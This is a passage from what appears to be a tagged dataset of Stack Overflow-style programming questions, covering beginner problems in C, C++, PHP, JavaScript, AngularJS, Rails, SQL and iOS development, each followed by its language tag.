&gt;rp&lt;/option&gt;                         &lt;option value= sand &gt;sand&lt;/option&gt;                 &lt;/select&gt;                  &lt;select name= mainissue  id= warrantypumptype  style= display:none; &gt;                         &lt;option value= type pump &gt;select one&lt;/option&gt;                         &lt;option value= f350c &gt;f350c&lt;/option&gt;                         &lt;option value= f400c &gt;f400c&lt;/option&gt;                         &lt;option value= f600c-9 &gt;f600c gfci 9&lt;/option&gt;                         &lt;option value= f600c-18 &gt;f600c gfci 18&lt;/option&gt;                         &lt;option value= f700800c &gt;f700c/800c&lt;/option&gt;                         &lt;option value= f1000c &gt;f1000c&lt;/option&gt;                         &lt;option value= f1500c &gt;f1500c&lt;/option&gt;                         &lt;option value= f2000c &gt;f2000c&lt;/option&gt;                         &lt;option value= x600 &gt;x600&lt;/option&gt;                                           &lt;option value= x1000 &gt;x1000&lt;/option&gt;                         &lt;option value= x1500 &gt;x1500&lt;/option&gt;                                                 &lt;option value= cp2000c &gt;cp2000c&lt;/option&gt;                 &lt;/select&gt; </code></pre>   say the select that comes up is the filtration select options.  no matter which option i choose in the filtration selection  the value always shows up as value  type pump   or the first option in the last selection with the same name.    it appears that even though the correct selection options are showing  only the last selection option group is being read.    any clues,html
analyzing and understand what this code does  long time lurker  first time poster. i m a student and haven t touched a programming course in two years. now that i m taking courses again  i m having difficulty reading and understanding other people s code. i have a sample-code here from hmc containing a portion of a simple memory allocator in c.   <pre><code>void free_block(ptr p) {      *p = *p &amp; ~1;                         /* clear allocated flag */          next = (unsigned*)((char*)p + *p);    /* find next blk */         if ((*next &amp; 1) == 0)                 /* if not allocated... */           *p += *next;                          /*   add to this block */       } </code></pre>    despite the comments  i m still having confusion as to what s going on here exactly. i know what the code does but i would never be able to code this myself. if someone could possibly explain the mathy portions of this code  i would be extremely grateful.,c
instance varibale vs method calling in controller  i have the following code in my controller.   <pre><code>  def index     @customer = customer.find(params[:customer_id])      @current_orders = @customer.current_orders     @pending_orders = @customer.pending_orders     @previous_orders = @customer.previous_orders     @recurring_orders = @customer.recurring_orders   end </code></pre>   as you see  all the instance variables(@current_orders @pending_orders etc) can be obtain from @customer.    what is the best way to write this code   should i need to create these instance variable in controller or i just only used these through @customer variable in views.    thanks,ruby-on-rails
what kind of member is btnode *rt()   this is part of my code  it s not the full thing:   <pre><code>#include&lt;iostream&gt; using namespace std; int c f;  struct btnode {   btnode *left;   int data;   btnode *right; };  class bt {   private:   btnode *root;  public: bt() {   root=null; } btnode * rt() {   return root; } </code></pre>   can someone tell me what <code>btnode *rt()</code> is called  is it a constructor or a method,c++
debug error in visual studio  can somebody please explain me what am i doing wrong here  i receive an error unexpected end of file and also missing function header  thanks in advance   <pre><code>static char debug[256];  #define dbgprint(...)           {sprintf_s(debug  256  __va_args__); outputdebugstringa(debug);}  #define check_read(status  str) while(0){                                                                               \                                     if(0 == status){                                                                    \                                                    dbgprint( message %s\n   str);                  \                                         return 0;                                                                       \                                     }                                                                                   \                                 }                                                                                        int main(){  char* str =  hello world ; status = 0; check_read(status  str);  return 0; } </code></pre>   error:   <pre><code>error line  7   error c2447:  {  : missing function header (old-style formal list ) error   line 11 error c2447:  {  : missing function header (old-style formal list ) error   line 15 error c2017: illegal escape sequence     error   line 19 fatal error c1004: unexpected end-of-file found  </code></pre>,c++
what causes to auto br  i have 3 css functions for sprites and i created a link with them. when an image is loaded  they are like that  <img src= https://i.stack.imgur.com/5q68t.png  alt= enter image description here >    some of my code is below:   <pre><code>#twitterreply {   width:16px;   height:16px;   text-decoration:none;   display:block;   background-image:url( path );   background-position:-0px -0px;  } #twitterreply:hover #twitterreply:active  { background-position:-16px -0px; }  #twitterretweet {   width:16px;   height:16px;   text-decoration:none;   display:block;   background-image:url( path );   background-position:-32px -0px; } #twitterretweet:hover #twitterretweet:active  { background-position:-48px -0px; }  #twitterfavorite {   width:16px;   height:16px;   text-decoration:none;   display:block;   background-image:url( path );   background-position:-64px -0px; } #twitterfavorite:hover #twitterfavorite:active  { background-position:-80px -0px; } </code></pre>   how can i lay them together,css
customized filter array values in php  i m trying to do a filter function in php. i have started doing the bellow:   <pre><code>function handleduplicates($duplicatemonthreportsarray $nodereports $whattocompare){     foreach ($duplicatemonthreportsarray as $duplicate) {        $duplicatereportsarray = $nodereports-&gt;nodereports[$duplicate]-&gt;indvreports;        var_dump($duplicatereportsarray); //prints out what i have written bellow        foreach ($duplicatereportsarray as $duplicatereport) {            if($whattocompare=== both ){                //return higest [nosamples] and latest [ stoptime ] (if possible).            }            else if($whattocompare=== latest ){                //return array with latest [ stoptime ]                      }else{               //return array with higest [nosamples] (if both same like the bellow case then return latest  stoptime )             }        }     } } </code></pre>   and the var_dump prints out the bellow:   <pre><code>array(2) {   [  au feb-13  201302282                                                                                                                                                                                                             ]=&gt;   array(2) {     [ stoptime ]=&gt;     string(23)  2013-02-28 23:00:00.000      [ nosamples ]=&gt;     string(5)  673.0    }   [  au feb-13  201302282                                                                                                                                                                                                             ]=&gt;   array(2) {     [ stoptime ]=&gt;     string(23)  2013-02-28 23:55:00.000      [ nosamples ]=&gt;     string(5)  673.0    } } </code></pre>   what i want to do is printed in the code as comments. i want to do a customized filter function that loops through an array of objects that looks like the var_dump that i have written above and either return the array instance with higest  stoptime    higest nosamples  or both (if possible  otherwise return only the largest  nosamples .    how would you go about implementing this filterfunction  are there any finished filter functions ready to be used in my case  that takes an array of arrays and perform a filter on that     thanks alot in advance.,php
how to declare an object without defining it at the same time in the cpp file  class a has two constructors:   <pre><code>a:a(int  bool) a:a(int int bool) </code></pre>   i d like to achieve something like this:   <pre><code>if (condition)    a object(int bool); else    a object(int int bool);  proess(object); </code></pre>   but as you know there is a problem since the scope of object is only inside the <code>if...else...</code>    so is there a way to achieve this  i dont want to put <code>process()</code> inside the <code>if...else...</code> neither do i want to use <code>a *pobject</code>.     i guess in another word  my question is  how to declare an object without define it,c++
php how do i calculate number of month in year <blockquote>    i want to calculate how many number of months in particular year  for example   in 1.5 year how many month are   it s simple but programmatically how do i calculate this     please can anybody tell me    </blockquote>,php
need to rewrite sql query  i am new to query and i need help writing a query.    i want to select   <pre><code>project_post.projectpost  from project_post  where project_post.profileid = (user_profile.profileid where user_profile.userid = @username) and project_post.project date is less than project_follower.lastpageview  where project_follower.profileid = (user_profile.profileid where user_profile.userid = @username)  </code></pre>   thank you.,sql
sectioninformation.allowoverride vs sectioninformation.inheritinchildapplications  allowoverride says:    <pre><code>gets or sets a value that indicates whether the associated configuration section can be overridden by lower-level configuration files. </code></pre>   inheritinchildapplications says:   <pre><code>gets or sets a value that indicates whether the settings that are specified in the associated configuration section are inherited by applications that reside in a subdirectory of the relevant application. </code></pre>   is this a settings vs section deal or what is the difference,.net
orderby sorting by string and integer on ng-repeat in angular 1.5.0  i ve got an angular 1.5 project  and upgrading isn t really an option right now.  i m trying to simply sort a collection of items such as:   <pre><code> bar #1 // #1a     foo #1 // #1a     foo #1 // #1b     foo #2 // #2     foo #2 // #10    foo #10 // #1   etc </code></pre>   ...    <a href= https://code.angularjs.org/1.5.0/docs/api/ng/filter/orderby  rel= nofollow noreferrer >angular 1.5.0 s docs</a> say:     <blockquote>    array: an array of function or string predicates. the first predicate in the array is used for sorting  but when two items are equivalent  the next predicate is used.  </blockquote>   so  i first tried just doing:   <pre><code>ng-repeat= item in items | orderby: sortfunc  </code></pre>   where the sort function does:   <pre><code>scope.sortfunc = function (item) {                                                                                                                                      var replaced = item.name.replace(/(\d+)/g    \$1 );                                                                                                                   return replaced.split(   ).map(function (fragment) {                                                                                                                               var number = parseint(fragment  10);                                                                                                                                 return number   number(number) : fragment;   }); }; </code></pre>   i am returning an array such as [ bar #   1    // #   1   a ].  so i thought this would work exactly as they described..  when two items are equivalent  the next is used.    but i guess it doesn t support a function returning an array..........  it needs to be an array of functions  but i have no way to generate an array of functions based off of a string s components.....................................................    so is there any way to do what i am trying to do,angularjs
regarding iphone application i-os-4.0  how to lock and unlock iphone screen using programm      regrds lipika,iphone
how to separate reading and writing in an xml file   what is the best way to read and write to an xml file so my writes to not stop my reads  what i would like is two separate classes doing this that are independent and hence to not share locks/mutexes etc.    currently i am using xdocument.load() to read the file which i believe takes a lock on the file only on the load.,c#
reading and writing properties with gcd in objective-c  i m reading one of the items in effective objective-c  and the author has this example:   <pre><code>_syncqueue = dispatch_get_global_queue(dispatch_queue_priority_default  0);  - (nsstring *)somestring {   __block nsstring *localsomestring;   dispatch_sync(_syncqueue  ^{     localsomestring = _somestring;   });   return localsomestring; }  - (void)setsomestring:(nsstring *)somestring {   dispatch_barrier_async(_syncqueue  ^{     _somestring = somestring;   }); }  </code></pre>   i wanted some help in understanding this code.      1) do you have to use dispatch_sync in the getter because if you used dispatch_async  the async nature would then return localsomestring right away without ever executing the dispatch_sync block.    2) since the barrier is being using and protecting that _somestring from being altered by other threads  you don t need to use dispatch_barrier_sync     thanks.,objective-c
need loop to terminate after there s no input left to process <pre><code>#include &lt;iostream&gt; #include &lt;iomanip&gt;  using namespace std;  int main() {     const int size = 81;     char letters[size];       cout &lt;&lt;  enter the string to be converted.  &lt;&lt; endl;      cin.getline(letters  size);     for (int count = 0; count &lt; size; count++)     {         if ((letters[count] &gt;= 97) &amp;&amp; (letters[count] &lt;= 122))         {             letters[count] -= 32;             cout &lt;&lt; letters[count];         }         else         {             cout &lt;&lt; letters[count];         }     }      cout &lt;&lt; endl;      system( pause );     return 0; } </code></pre>   when i run the program  it works fine except it adds a bunch of ╠ at the end until it reaches 80 characters.  i just need it to terminate the loop as soon as it converts all the letters that were inputted to uppercase.  i thought that the two arguments for cin.getline would define the elements in the array and how many elements there are.  not sure what to do at this point.,c++
object.gettype() source code  how is <code>object.gettype()</code> implemented in .net,.net
unable to register .net com dll  i have registered a .net com dll using the regasm tool and the registration was successful. it says  type registered successfully . but when i open registry i cannot see my dll there. i searched using both progid &amp; clsid but not there.    i registered another dll too in same way and it got registered successfully and i am able to access it from a vb6 dll.    what problem could it be. something wrong with the dll  i set the project properties for both my dlls in same way and one seems to got registered successfully.    i am supposed to test the dll accessing from an existing vb6 tool and unable to start it.    thanks    nishitha,.net
php code explain  can anyone explain me how <strong>usleep</strong> or <strong>sleep</strong> helps to unload the cpu.<br> i have written sample code as below.   <pre><code>while (1) // check if the data file has been modified  {   usleep(10000); // sleep 10ms to unload the cpu**   clearstatcache();   $currentmodif = filemtime($filename); } </code></pre>,php
grid is not getting binded properly in ie  my grid is not binding properly in ie and i found the reson why it is not working. one of my column values in my grid is showing video and database value is:   <pre><code>&lt;object id= video  width= 462  height= 407   type= application/x-shockwave-flash  data= http://view.vzaar.com/286291.flashplayer &gt;   &lt;param name= movie  value= http://view.vzaar.com/286291.flashplayer &gt;   &lt;param name= allowscriptaccess  value= always &gt;    &lt;param name= allowfullscreen  value= true &gt;    &lt;param name= wmode  value= transparent &gt;    &lt;param name= flashvars  value= colourset=blue&amp;brandtext=lsat+freedom&amp;brandlink=lsatfreedom.com &gt;    &lt;embed src= http://view.vzaar.com/286291.flashplayer  </code></pre>   when i add a comment to this column while binding  my grid is working fine and showing all next records.    but i want this column.    how do i bind  tag to grid so that a video can be displayed  i have tried this:   <pre><code>&lt;asp:literal id= lblans  runat = server  text= &lt;%# databinder.eval(container.dataitem   answer )%&gt; &gt;&lt;/asp:literal&gt; </code></pre>   and   <pre><code>&lt;%# databinder.eval(container.dataitem   answer )%&gt; </code></pre>   and   <pre><code>&lt;asp:label id= lblans  runat= server  text= &lt;%# databinder.eval(container.dataitem   answer )%&gt; &gt;&lt;/asp:label&gt; </code></pre>   but it is not working.    please tell me how to bind this.,asp.net
when i use input() my code doesn t appear when i run it  i have now changed my code but there it says invalid syntax for the last line  how do i fix this  i changed the last line to global status before displaymenu but it seems to be causing a problem to my code   <pre><code>users = {} status =     def displaymenu():     status = raw_input( are you a registered user  y/n  press q to quit:  )       if status ==  y :         olduser()     elif status ==  n :         newuser()  def newuser():     createlogin =( create login name:  )      if createlogin in users: # check if login name exists         print ( \nlogin name already exist!\n )     else:         createpassw =( create password:  )         users[createlogin] = createpassw # add login and password         print( \nuser created!\n )       def olduser():     login = raw_input( enter login name:  )     passw = raw_input( enter password:  )      # check if user exists and login matches password     if login in users and users[login] == passw:          print ( \nlogin successful!\n )     else:         print ( \nuser doesn t exist or password error!\n )       if passw == users[login]:         print ( login successful!\n )  while status !=  q :                 global status displaymenu(): </code></pre>,python
how can i hide function arguments from php debug_print_backtrace  i want debug_print_backtrace to not print sensitive function arguments. my naive solution doesn t work.   <pre><code>&lt; php  function err () {     debug_print_backtrace (); }  function foo ($secret_arg  $arg) {     $arg = $secret_arg;     $secret_arg =  &lt;hidden&gt; ;      err (); }  foo ( mysecret   123);  &gt; </code></pre>   this outputs   <pre><code>#0  err() called at [/tmp/x.php:13] #1  foo(mysecret  123) called at [/tmp/x.php:16] </code></pre>   even though i overwrote <code>$secret_arg</code> in the function  the backtrace shows it still contains <code> mysecret </code>.    but i <strong>do</strong> still want any non-protected arguments to be shown in the trace.    are there any non-hacky ways to hide this argument from the trace  from a design point of view  i really want the functions to locally know which arguments to protect  rather than writing a new backtrace function which knows where all the sensitive arguments are.,php
how can i split a javascript string by white space or comma   if i try   <pre><code> my  tags are  in here .split(    ) </code></pre>   i get the following   <pre><code>[  my  tags are  in here  ] </code></pre>   whereas i want   <pre><code>[ my    tags    are    in    here ] </code></pre>,javascript
how to specify :primary_key starting value in rails schema migration   i have a postgres table and a schema that creates a primary id (sequence) that auto increments by 1. how do i specify the starting value  i am happy with the increment value. here is my schema migration:   <pre><code>create_table  serviceprovider   {:primary_key =&gt; :id} do |t|   t.integer  id                         :null =&gt; false end </code></pre>   thank you,ruby-on-rails
how to create an array of objects in javascript  i tried to create an array of objects but i can t make it work. here is what i do:   <pre><code>var params = new array(); console.log(params); </code></pre>   in the console  i see that params is indeed an array.   <pre><code>param = {                 begindate:  2014-02-28                   begintime:  00:00:00                   enddate:  2014-02-28                   endtime:  23:59:59                   type:  abs                   units:  m3                   steps:  none                   measureid:  1 };     params.push(param); console.log(params); </code></pre>   now in the console  i see that params is an object :(.    how can i do that so i have an array of objects     thanks     john.,javascript
"how to set required inputs when parent div clicked in angularjs   hi i m trying to set required input fields when parent div is active     only active div s inputs must be required. i m trying to do this for form submit. i also try with jquery but it didn t worked.     ps: in fact  i don t want to use any jquery code if possible.   my codes as seen below:    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var app = angular.module( app   []);
 
 app.controller( controller   function($scope) {
 
   $scope.aclick = function(event) {
     $( input ).removeattr( ng-required );
     $(event.target).attr( ng-required   false);
   };
 
 });</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;!doctype html&gt;
 &lt;html ng-app= app &gt;
 
 &lt;head&gt;
   &lt;script src= //ajax.googleapis.com/ajax/libs/angularjs/1.2.26/angular.min.js &gt;&lt;/script&gt;
   &lt;script src= //code.jquery.com/jquery-1.9.1.min.js &gt;&lt;/script&gt;
   &lt;meta charset= utf-8 &gt;
   &lt;title&gt;js bin&lt;/title&gt;
 &lt;/head&gt;
 
 &lt;body ng-controller= controller &gt;
   &lt;form name= frm &gt;
 
     &lt;div ng-click= aclick($event) &gt;
       &lt;input type= text  placeholder= name  ng-model= name  ng-required= true &gt;
       &lt;input type= text  placeholder= surname  ng-model= surname  ng-required= true &gt;
     &lt;/div&gt;
 
     &lt;div ng-click= aclick($event) &gt;
       &lt;input type= text  placeholder= age &gt;
       &lt;input type= text  placeholder= gender &gt;
     &lt;/div&gt;
 
     &lt;button ng-disabled= frm.$invalid &gt;send&lt;/button&gt;
 
 
 
 
   &lt;/form&gt;
 &lt;/body&gt;
 
 &lt;/html&gt;</code></pre>
 </div>
 </div>
     thank you!",angularjs
implementing methods: search  load and print  please see my comments in the code to better explain things.  basically having issues with the methods below.  i can get the load method to run but i am unsure whether the numbers entered by the user are actually being stored in the array.      in addition  the search method has been throwing things off and i think its going in a loop.    see below for more.  thank you in advance.   <pre><code>import java.util.scanner; public class mycontainer { private int[] values; private int size; public mycontainer(){ values=new int[50]; size=0;}  //load method - display a message to the user  //and get positive intergers from user public void load() { int input; scanner in = new scanner(system.in); system.out.println( enter a series of positive integers (negative to terminate):  );  input=in.nextint(); while (input &gt;=0) {   values[size]=input;   size++;   input=in.nextint(); }  }//end load  //compute average from the above entered numbers public double computeaverage() { double avg= 0.0; int count = 0; while(values[size] &gt;=0) {avg = avg + values[size]; count++; } size = size + 1; avg = avg / size; return avg;  }  //get user input to search for a number in the array public boolean search(int myint){  while(values[size] &gt;=0) { if (values[size] == myint){   return true;} else{   size++;} } return false; }   //print the position of the number   public void print(){    for(int i=0;i&gt;=size;i++) {    system.out.println( the number at position   + i +   is   + values[i]);  }  } } </code></pre>   that is what i have so far.  i also have created a tester class for the above container.   <pre><code>   class tester {    public static void main(string[] args) {    mycontainer in = new mycontainer();    in.load();    in.computeaverage();    in.search(); //i know for a fact this is wrong just stuck            in.print();      } } </code></pre>   any advise/help would be greatly appreciated.  my professor is terrible at teaching and the book only partially explains things.,java
how to clear buffer in receiving multiple strings   if i enter <code>str1</code> longer than length 10  the rest of it remains in the buffer and gets entered into my <code>str2</code>. how to clear the buffer before <code>str2</code>  so i can input it    <pre><code>#include &lt;stdio.h&gt; int main(void) {     char str1[10];     char str2[10];      fgets(str1 10 stdin);     fgets(str2 10 stdin);      puts(str1);     puts(str2);     return 0; } </code></pre>,c
how to calculate   i just tried to calculate something. all my input is int.   <pre><code>int avescore = (startscore/((([p1.arraythrow count]-1)) + winpane.throws));   </code></pre>   the result is (for startscore = 501 and the rest = 3 [501/3 = 167]) 100. even tried <code>float avescore</code> which results in something like 10359. also didn t work:   <pre><code>int avescore = (float) ...   </code></pre>   what is wrong here,objective-c
length of text that can just fit into one screen without scrolling  i find some iphone book apps have such feature:    one screen one page of text without scrolling. the text can just fit into the whole screen with linebreaks and indentations.    i m curious of how to implement this. how could i decide the length of text that just fit into the screen. and also  given the whole text  i can calculate out the number of pages.    if this is not possible to be done on iphone(runtime )  then is it possible to process the text before storing it in app  i mean i calculate how many pages i need(how to split the raw text)  probably how many lines per page.,iphone
unable to understand some part of this snippet   i have this example program from a book  in this piece of code there is a line  <code>++frequency[responses[respose_size]];</code>. i am unable to understand how we are incrementing array base address  may be i am a fool  but still i dont see any logic there...please some one help me out ....thanks!    <pre><code>    int main()     {           int answer  rating;             int frequency[frequency_size] = {5};             int responses[respose_size] ={1 2 3 4 5 6 7 8 9 10                   1 6 3 8 6 10 3 8 2 7 6 5 7 6 8 6 7 5 6 6                    5 6 7 5 6 4 8 6 8 10};         for(answer = 0; answer&lt;respose_size; answer++)        {            ++frequency[responses[respose_size]];        }         printf(  %s%17s\n    rating    frequency  );         for(rating=1; rating&lt;frequency_size; rating++)        {           printf(  %6d%17d\n   rating  frequency[ rating ] );         }          return 0;     } </code></pre>,c
select first row in tableview at default and fire didselect when load view  when the view is load  the tableview will select the first row and it fire the didselectatrow method to do something. i ve just know how to select the first row but it not fire the didselectatrow method at a same time show me how to do like that,ios
tryin to make function that hide divs but cheking if they have a class before it do  i am trying to find a solution since now some day  but can t find out the way to do that. i have one function on a button that hide every div that doesn t have the class polyester.    then i have another button want to hide everything else except but i don t want to hide what s displayed already ( polyester in this case )  what does the active class.   <pre><code>    let polyval = document.getelementbyid( poly ).getattribute( value );      let lightval = document.getelementbyid( light ).getattribute( value );      function showpoly(e){           const poly = document.getelementbyid( poly );           const nopoly = document.queryselectorall( div.webbing:not(.polyester) );         const len = nopoly.length;               if(polyval  &lt; 1) {             polyval++;              for(i = 0; i &lt; len; i++){                 nopoly[i].classlist.add( active );              }            }else    {              polyval--;             for(i = 0; i &lt; len; i++){             nopoly[i].classlist.remove( active );                  }               }          }   &lt;!doctype html&gt; &lt;html lang= en &gt; &lt;head&gt;     &lt;meta charset= utf-8 &gt;     &lt;title&gt;what webbing will you buy next  &lt;/title&gt;      &lt;link rel= stylesheet  href= main.css &gt;      &lt;!-- compiled and minified css --&gt;     &lt;link rel= stylesheet  href= https://cdnjs.cloudflare.com/ajax/libs/materialize/0.100.2/css/materialize.min.css &gt;      &lt;!-- compiled and minified javascript --&gt;     &lt;script src= https://cdnjs.cloudflare.com/ajax/libs/materialize/0.100.2/js/materialize.min.js &gt;&lt;/script&gt;  &lt;/head&gt;  &lt;body&gt;       &lt;h1&gt;what webbing will i buy next  &lt;/h1&gt;      &lt;div class= container &gt;           &lt;div class= row &gt;              &lt;div class= col s12 &gt;                     &lt;a onclick= showpoly();  class= waves-effect waves-light btn-large &gt;polyester&lt;/a&gt;                 &lt;a onclick= showlight();  class= waves-effect waves-light btn-large &gt;light&lt;/a&gt;             &lt;/div&gt;          &lt;/div&gt;              &lt;div class= row &gt;              &lt;div value= 0  class= col s2 webbing polyamid &gt;                 polyamid             &lt;/div&gt;             &lt;div value= 0  id= poly  class= col s2 webbing polyester &gt;                 polyester             &lt;/div&gt;             &lt;div value= 0  class= col s2 webbing nylon &gt;                 nylon             &lt;/div&gt;             &lt;div value= 0  class= col s2 webbing tubular &gt;                 tubular             &lt;/div&gt;             &lt;div value= 0  class= col s2 webbing heavy &gt;                 heavy             &lt;/div&gt;             &lt;div value= 0  id= light  class= col s2 webbing light &gt;                 light             &lt;/div&gt;                  &lt;div value= 0  class= col s2 webbing polyamid &gt;                 polyamid             &lt;/div&gt;             &lt;div  value= 0  id= poly  class= col s2 webbing polyester &gt;                 polyester             &lt;/div&gt;             &lt;div value= 0  class= col s2 webbing nylon &gt;                 nylon             &lt;/div&gt;             &lt;div value= 0  class= col s2 webbing tubular &gt;                 tubular             &lt;/div&gt;             &lt;div value= 0  class= col s2 webbing heavy &gt;                 heavy             &lt;/div&gt;             &lt;div value= 0  id= light  class= col s2 webbing light &gt;                 light             &lt;/div&gt;          &lt;/div&gt;      &lt;/div&gt;      &lt;script src= main.js &gt;&lt;/script&gt;    &lt;/body&gt; &lt;/html&gt; </code></pre>,javascript
$watchcollection not firing when updating values in model  i have <a href= http://plnkr.co/edit/pirapqdh7mod8cvjtavy p=preview  rel= nofollow >this</a>  is it somewhat possible to <code>$watch</code> the whole <code>foos</code> every time the fields are changed     it looks like the <code>console.log()</code> is only called when you press the  insert foo  button.    thanks!,angularjs
"one form inside another one form  i have one form which have one submit button let us name this as form 1 and inside that form i have another form with one submit button and this form name is form 2. now my problem is when i am clicking submit button of form 2  form 2 submit button is using an action of form 1 which i don t want. i know its sounds confusion but check the codes you will come to know :    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;form action= pks.php  method= post &gt;
 &lt;input type= text  name= mob &gt;
 &lt;input type= text  name= opr &gt;
 &lt;form action= pksa.php  method= post &gt;
 &lt;input type= text  name= opra &gt;
 &lt;input type= submit  value= submit &gt;
 &lt;/form&gt;
 &lt;input type= submit  value= submit &gt;
 &lt;/form&gt;</code></pre>
 </div>
 </div>
     i am trying something like to achieve but i am not able to please help me out",html
how to merge the table cell using angularjs  1) i have a problem in merging table cell in using angularjs  i want to merge the data that has the same data with the next row using rowspan.    current output:    <a href= https://i.stack.imgur.com/7uhvr.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/7uhvr.png  alt= enter image description here ></a>    expected output:    <a href= https://i.stack.imgur.com/udcuj.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/udcuj.png  alt= enter image description here ></a>    <strong>here is my current html code:</strong>   <pre><code>&lt;tr ng-repeat= emp in employeerm &gt;             &lt;td rowspan= {{emp.rows}}  ng-if= ! emp.matchpreviousrow &gt;                 {{emp.name}}                 &lt;br /&gt;                 &lt;button class= btn btn-primary  ng-click=   id= btnempstatus &gt;remind&lt;/button&gt;             &lt;/td&gt;             &lt;td&gt;{{emp.projectname}}&lt;/td&gt;             &lt;td&gt;                 {{emp.projectmanager}}                 &lt;button class= btn btn-primary  ng-click=   id= btnpmstatus &gt;remind&lt;/button&gt;             &lt;/td&gt;             &lt;td&gt;                 {{emp.resourcemanager}}                 &lt;button class= btn btn-primary  ng-click=   id= btnrmstatus &gt;remind&lt;/button&gt;             &lt;/td&gt;         &lt;/tr&gt;     &lt;/table&gt; </code></pre>   <strong>angularjs controller code:</strong>   <pre><code> .controller( rmdashboardctrl   function ($scope  $http  $rootscope  $state)    {       getemployeerm();        function getemployeerm() {         $http({             url:  evalservice.asmx/getemployeesforrm               params: { empid: $rootscope.empid  fromdate: from_date  todate:                         to_date  year: year }              method:  get                 }).then(function (response) {                  $scope.employeerm = response.data;                  console.log(response.data);                if (response.data.length &gt; 0) {                 response.data[0].matchpreviousrow = false;                 for (var i = 0; i &lt; response.data.length; i++) {                     var field = response.data[i].name;                 var rows = 1;                 for (var j = i + 1; j &lt; response.data.length; j++) {                     if (response.data[j].name === field)                     {                        rows++;                        response.data[j].matchpreviousrow = true;                     } else {                         response.data[j].matchpreviousrow = false;                         break;                     }                 }                 response.data[i].rows = rows;                 }             }         });     } </code></pre>   thanks in advance,angularjs
how to activate user account in laravel 5.2  i am trying to activate users account of blocked users but i am stuck somewhere in the code.  here is my controller action:   <pre><code>public function activateaccount() {     $id = auth::user();     $update = user::find($id);     $update-&gt;update([ isactive  =&gt;  y ]);     $update-&gt;save();     $responce = array( status  =&gt; true);      echo json_encode($responce);     return redirect()-&gt;back()-&gt;with( message   your account activated successfully! ); } </code></pre>   and my route is    <pre><code>route::get( activate/account  [ uses  =&gt;  homecontroller@activateaccount ]); </code></pre>   i am getting this error from my controller:    <blockquote>    call to member function update() on null  </blockquote>   can anyone please tell me why this issue appearing and is this the right way of doing it  how to activate users of blocked users  any help will be appreciated.,php
mysql: exclude if some column contains value for some_id x  heey all  i m struggling with something very simple but i cant find the correct query.    i have this table   <pre><code>id | col_a | col_b -----------------  1  |  1    | value_a 2  |  1    | value_b 3  |  1    | value_c 4  |  2    | value_a 5  |  2    | value_b 6  |  3    | value_a 7  |  3    | value_b </code></pre>   what i want is all distinct values from col_a where none of the records where col_a is some_id has no  value_c  in col_b    so in the case i want to get following resultset    <pre><code>col_a ----- 2 3 </code></pre>   because col_b has a  value_c  where col_a = 1 (record id:3)    so i basicly i m not interested in the id of col_a if any record with that id contains  value_c  in col_b    i hope s clear    already thanks in advance!!,mysql
renaming a column with the current date in mysql  is there a way to change the name of a column to the current date  i don t need it to dynamically update as the date changes -- just the date when the code was executed. i tried the below code but get a syntax error   <pre><code>alter table table_name change old_column_name curdate() date; </code></pre>,mysql
kendoui angularjs   required validation no fired when using k-cascade-from  so   i have two drop downs (kendo-drop-downs) and the second one is cascading from the first     and both have ng-required     why the second one s required validation is not fired when it is dimmed        <a href= http://dojo.telerik.com/iwufa/90  rel= nofollow >http://dojo.telerik.com/iwufa/90</a> to see what i mean    the initial status is that the first one s required is fired and the second is not :/  and further   try selecting  bassan  from first   then  hassan  from second   then go back to the first and select the default  select first  option     u will see that also this doesn t fire the required validation of the second drop down     plz help,angularjs
adding images to drawable folder - showing blank image  while adding images to drawable folder using image asset i come accross this <a href= https://i.stack.imgur.com/borjc.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/borjc.jpg  alt= it just shows blank image . ></a>    how to solve this issue,android
making sure that uiview autoresizes as specified in nib settings  i have create a view based application and its loaded correctly what i designed in the xib files.my doubt is when i designed uiview it has the property of resize its frame size(autoresize).    but when i loaded the application into iphone the uiview has not the property of resize its frame automatically.is it possible to change a uiview automatically in iphone (when application loaded)  (or)  we can change the frame size of the uiview for every touches moved event.    can anyone help me      thanks in advance.......,iphone
using of a single view to display different content on flip  i am trying to add a flip on row did select of every section.the flip side view should display the content of the selected section. i have tried to understand the apple transition tutorial but its tough to get. any simple application related to it .,iphone
embed mobile friendly website as iphone app  let s say we have a mobile-friendly website www.mywebsite.com that i want to quickly turn into an iphone app. would i just create an empty iphone app with a full screen web browser control and point it to www.mywebsite.com  or is there something more to it...    fyi i have no iphone development experience.,ios
c++ class user select use fifo or lifo  i need a class that user select work with fifo or lifo  the combination of queue class and stack class.    how the combination of these two classes that user select works with which one,c++
php display file link based on filename  i have a php code that will display a list of files deemed  new/updated  since a users last visit.  at the moment the script scans the server and returns results based on file types .pdf/.htm/.php i was wondering if there was a way to change this  so that the script would return results based on either filename  or $title. here is the snippet of code i believe needs tinkering..   <pre><code>     &lt;   // declare globals $docroot=false; $treetop=false; $debug=false; $filecount=0; $since=false; $disallow=false;  function startswith($s1 $s2) {     $l1=strlen($s1);     $l2=strlen($s2);     if ($l1&lt;$l2)         return false;     for ($x=0;$x&lt;$l2;++$x)     {         if (strtolower($s1{$x})!=strtolower($s2{$x}))             return false;     }     return true; }  function mystrtotime($s1) {     $y=strtok($s1  - );     $m=strtok( - );     $d=strtok( - );     return mktime(0 0 0 $m $d $y); }  function readrobotsign() {     global $docroot $disallow;      // initialize.     $disallow=array();      $robotsignname=$docroot. /robots.txt ;      $robotsign=fopen($robotsignname  r );      // if there is no no-trespassing sign  then everything is open.     if ($robotsign===false)         return;      $doingmine=false;     while (!feof($robotsign))     {         $linein=fgets($robotsign);         $field=strtok($linein   \n\r );         $value=strtok(  \n\r );          if (!$doingmine)         {             if (strcasecmp($field  user-agent: )==0                 &amp;&amp; (strcasecmp($value  * )==0 || strcasecmp($value  whatsnew )==0))             {                 $doingmine=true;             }         }         else // doingmine         {             if (strcasecmp($field  user-agent: )==0)                 break;             else if (strcasecmp($field  disallow: )==0)                 $disallow[]=$value;         }     }     fclose($robotsign); }  function disallowed($path) {     global $disallow;      $z=count($disallow);     for ($x=0;$x&lt;$z;++$x)     {         if (startswith($path $disallow[$x]))             return true;     }     return false; }  function htmltitle($fullpath) {     